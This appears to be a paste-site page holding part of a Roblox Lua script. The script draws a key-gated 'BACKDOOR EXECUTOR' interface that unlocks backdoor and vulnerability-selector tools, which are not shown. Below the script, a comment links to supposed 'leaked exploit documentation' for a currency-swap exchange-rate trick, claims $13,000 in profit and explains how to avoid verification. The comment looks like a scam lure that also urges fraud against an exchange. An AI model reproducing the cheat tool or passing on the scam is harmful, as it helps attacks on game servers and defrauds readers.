  739. screenGui.Name = "KeySystemGUI"
  740. screenGui.Parent = CoreGui
  741.  
  742. local mainFrame = Instance.new("Frame")
  743. mainFrame.Size = UDim2.new(0, 380, 0, 320)
  744. mainFrame.Position = UDim2.new(0.5, -190, 0.5, -160)
  745. mainFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 30)
  746. mainFrame.BorderSizePixel = 2
  747. mainFrame.BorderColor3 = Color3.fromRGB(255, 50, 50)
  748. mainFrame.Active = true
  749. mainFrame.Draggable = true
  750. mainFrame.Parent = screenGui
  751.  
  752. local title = Instance.new("TextLabel")
  753. title.Size = UDim2.new(1, 0, 0, 45)
  754. title.Text = "BACKDOOR EXECUTOR"
  755. title.BackgroundColor3 = Color3.fromRGB(30, 30, 40)
  756. title.TextColor3 = Color3.fromRGB(255, 50, 50)
  757. title.Font = Enum.Font.GothamBold
  758. title.TextSize = 18
  759. title.Parent = mainFrame
  760.  
  761. local descLabel = Instance.new("TextLabel")
  762. descLabel.Size = UDim2.new(0.9, 0, 0, 50)
  763. descLabel.Position = UDim2.new(0.05, 0, 0, 50)
  764. descLabel.Text = "Require Module Executor + Vulnerability Selector\nValid for 2 days per key"
  765. descLabel.BackgroundTransparency = 1
  766. descLabel.TextColor3 = Color3.fromRGB(180, 180, 180)
  767. descLabel.TextSize = 11
  768. descLabel.TextWrapped = true
  769. descLabel.Parent = mainFrame
  770.  
  771. local keyInput = Instance.new("TextBox")
  772. keyInput.Size = UDim2.new(0.85, 0, 0, 40)
  773. keyInput.Position = UDim2.new(0.075, 0, 0, 110)
  774. keyInput.PlaceholderText = "Enter your key here..."
  775. keyInput.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
  776. keyInput.TextColor3 = Color3.fromRGB(255, 255, 255)
  777. keyInput.Font = Enum.Font.Gotham
  778. keyInput.TextSize = 14
  779. keyInput.ClearTextOnFocus = false
  780. keyInput.Parent = mainFrame
  781.  
  782. local verifyButton = Instance.new("TextButton")
  783. verifyButton.Size = UDim2.new(0.4, 0, 0, 35)
  784. verifyButton.Position = UDim2.new(0.075, 0, 0, 160)
  785. verifyButton.Text = "VERIFY"
  786. verifyButton.BackgroundColor3 = Color3.fromRGB(0, 120, 255)
  787. verifyButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  788. verifyButton.Font = Enum.Font.GothamBold
  789. verifyButton.TextSize = 14
  790. verifyButton.Parent = mainFrame
  791.  
  792. local showKeyButton = Instance.new("TextButton")
  793. showKeyButton.Size = UDim2.new(0.4, 0, 0, 35)
  794. showKeyButton.Position = UDim2.new(0.525, 0, 0, 160)
  795. showKeyButton.Text = "SHOW KEY"
  796. showKeyButton.BackgroundColor3 = Color3.fromRGB(50, 50, 60)
  797. showKeyButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  798. showKeyButton.Font = Enum.Font.GothamBold
  799. showKeyButton.TextSize = 14
  800. showKeyButton.Parent = mainFrame
  801.  
  802. local statusLabel = Instance.new("TextLabel")
  803. statusLabel.Size = UDim2.new(1, 0, 0, 30)
  804. statusLabel.Position = UDim2.new(0, 0, 0, 205)
  805. statusLabel.Text = "Waiting for input..."
  806. statusLabel.BackgroundTransparency = 1
  807. statusLabel.TextColor3 = Color3.fromRGB(150, 150, 150)
  808. statusLabel.TextSize = 11
  809. statusLabel.Parent = mainFrame
  810.  
  811. local timerLabel = Instance.new("TextLabel")
  812. timerLabel.Size = UDim2.new(1, 0, 0, 25)
  813. timerLabel.Position = UDim2.new(0, 0, 0, 240)
  814. timerLabel.Text = ""
  815. timerLabel.BackgroundTransparency = 1
  816. timerLabel.TextColor3 = Color3.fromRGB(100, 255, 100)
  817. timerLabel.TextSize = 11
  818. timerLabel.Parent = mainFrame
  819.  
  820. local closeButton = Instance.new("TextButton")
  821. closeButton.Size = UDim2.new(0, 30, 0, 30)
  822. closeButton.Position = UDim2.new(1, -35, 0, 8)
  823. closeButton.Text = "X"
  824. closeButton.BackgroundTransparency = 1
  825. closeButton.TextColor3 = Color3.fromRGB(255, 50, 50)
  826. closeButton.Font = Enum.Font.GothamBold
  827. closeButton.TextSize = 18
  828. closeButton.Parent = mainFrame
  829. closeButton.MouseButton1Click:Connect(function()
  830. screenGui:Destroy()
  831. end)
  832.  
  833. local function updateTimer()
  834. local remaining = getRemainingTime()
  835. if remaining > 0 then
  836. timerLabel.Text = "Time remaining: " .. formatTime(remaining)
  837. timerLabel.TextColor3 = Color3.fromRGB(100, 255, 100)
  838. else
  839. timerLabel.Text = "No active key. Enter key to continue."
  840. timerLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
  841. end
  842. end
  843.  
  844. local function loadMainTools()
  845. statusLabel.Text = "Key verified! Loading tools..."
  846. statusLabel.TextColor3 = Color3.fromRGB(0, 255, 100)
  847. task.wait(1)
  848. screenGui:Destroy()
  849. createBackdoorGUI()
  850. createVulnerabilityGUI()
  851. print("Both GUIs loaded successfully!")
  852. end
  853.  
  854. verifyButton.MouseButton1Click:Connect(function()
  855. local key = keyInput.Text
  856. if key == "" then
  857. statusLabel.Text = "Please enter a key"
  858. return
  859. end
  860. if isKeyValid(key) then
  861. local expiry = os.time() + KEY_VALIDITY_SECONDS
  862. saveKey(key, expiry)
  863. loadMainTools()
  864. else
  865. statusLabel.Text = "Invalid key! The correct key is: " .. MASTER_KEY
  866. statusLabel.TextColor3 = Color3.fromRGB(255, 50, 50)
  867. end
  868. end)
  869.  
  870. showKeyButton.MouseButton1Click:Connect(function()
  871. if setclipboard then
  872. setclipboard(MASTER_KEY)
  873. statusLabel.Text = "Master key copied to clipboard: " .. MASTER_KEY
  874. else
  875. statusLabel.Text = "Your key is: " .. MASTER_KEY
  876. end
  877. statusLabel.TextColor3 = Color3.fromRGB(0, 200, 255)
  878. end)
  879.  
  880. local autoSuccess, savedKey = loadSavedKey()
  881. if autoSuccess and savedKey then
  882. statusLabel.Text = "Found saved key! Auto-verifying..."
  883. task.spawn(function()
  884. if isKeyValid(savedKey) then
  885. statusLabel.Text = "Auto-login successful!"
  886. statusLabel.TextColor3 = Color3.fromRGB(0, 255, 100)
  887. updateTimer()
  888. task.wait(1)
  889. screenGui:Destroy()
  890. createBackdoorGUI()
  891. createVulnerabilityGUI()
  892. print("Auto-login success! Both GUIs loaded.")
  893. else
  894. statusLabel.Text = "Saved key invalid. Please enter new key."
  895. end
  896. end)
  897. end
  898.  
  899. task.spawn(function()
  900. while screenGui and screenGui.Parent do
  901. updateTimer()
  902. task.wait(1)
  903. end
  904. end)
  905. end
  906.  
  907. -- Start the key system
  908. createKeyGUI()
  909. print("Key system loaded!")
  910. print("MASTER KEY: " .. MASTER_KEY)
  911. print("Enter this key to unlock the backdoor tools")
Advertisement
Comments
  • Lensutir
    67 days
    # CSS 0.84 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1ifNm-s74mX7GChaEzSJ1dVQCy1SrSxlMVRYi8ys0rgQ/edit?usp=sharing
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).
Add Comment
Please, Sign In to add comment